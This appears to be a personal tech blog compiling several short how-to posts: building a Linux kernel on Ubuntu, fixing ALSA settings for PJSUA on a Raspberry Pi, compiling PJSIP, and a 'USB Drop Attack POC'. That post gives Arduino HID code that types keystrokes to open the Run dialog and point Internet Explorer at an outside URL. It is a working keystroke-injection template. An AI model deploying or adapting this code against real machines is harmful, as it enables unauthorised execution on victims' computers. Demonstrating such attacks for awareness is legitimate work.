Compile Kernel on Ubuntu 20.04 x86_64

Compile Kernel on Ubuntu 20.04 x86_64

Install the missing dependencies

apt-get update && apt-get upgrade && apt-get install -y build-essential libncurses5-dev gcc libssl-dev grub2 bc bison flex libelf-dev

Then we are going to download the kernel from kernel.org

wget https://cdn.kernel.org/pub/linux/kernel/v5.x/linux-5.7.5.tar.xz
tar -xvf linux-5.7.5.tar.xz

Copy the existing config file so that the correct modules for the ardware of the machine you are compiling the kernel for

cp /boot/config-$(uname -r) /root/linux-5.7.5/.config

Then we are going to compile the kernel firstly you want to cd into the kernel folder

cd /root/linux-5.7.5
make menuconfig
make -j8 deb-pkg
dpkg -i ../linux-*.deb
update-grub

Then you can proceed to rebooting the machine by typing the following

reboot

Once the machine is rebooted you can confirm the latest kernel by entering the following command

uname -a

USB Drop Attack POC using Arduino

Simple POC by using Arduino as a USB HID.

The Arduino will attempt to make the computer go to a specific website via keyboard input.

#include "HID-Project.h"

void setup() {
  // Setup
  Keyboard.begin();
  delay(1000);

  // Attack
  Keyboard.press(KEY_LEFT_GUI);
  Keyboard.press('r');  
  Keyboard.releaseAll();
  delay(1000);
  Keyboard.println("iexplore https://imsj.dev/tools/test.php");
  Keyboard.press(KEY_ENTER);
  Keyboard.releaseAll();
  delay(1000);

  // End
}

void loop() {
// do nothing
}

PJSUA sampling issues with ALSA

I have been trying to make a VOIP calling device with a raspberry pi3 and MIC+ using PJSUA. There seems to be a bug when attempting to make/receive a call.

pjsua-armv7l-unknown-linux-gnueabihf: ../src/pjmedia/conference.c:1895: get_frame: Assertion `frame->size == conf->samples_per_frame * conf->bits_per_sample / 8' failed.

To fix this: change /root/.asoundrc

options snd_rpi_googlevoicehat_soundcard index=0

pcm.softvol {
type softvol
slave.pcm dmix
period_size 320
buffer_size 10240
control{
name Master
card 0
}
}

pcm.micboost{
type softvol
slave.pcm dsnoop
period_size 320
buffer_size 10240
control {
name Micro
card 0
}
min_dB -10.0
max_dB 50.0
resolution 256}

pcm.!default {
type asym
playback.pcm "plug:softvol"
capture.pcm "plug:micboost"
}

ctl.!default {
type hw
card 0
}

If it still does not work then refer to this:
https://community.volumio.org/t/change-the-default-alsa-sample-rate-to-44100/116
http://lists.pjsip.org/pipermail/pjsip_lists.pjsip.org/2010-April/010721.html

PJSIP on Raspberry Pi via ALSA

Download and extract

apt-get install build-essential automake autoconf libasound2-dev
wget https://github.com/pjsip/pjproject/archive/2.10.tar.gz
tar -xvf 2.10.tar.gz
cd pjproject-2.10

Modify pjlib/include/pj/config_site.h

#define PJMEDIA_AUDIO_DEV_HAS_ALSA 1

Compile

./configure && make dep && make
/root/pjproject-2.10/pjsip-apps/bin/pjsua-armv7l-unknown-linux-gnueabihf  --config /root/pjproject-2.10/pjsip-apps/bin/pjsip.conf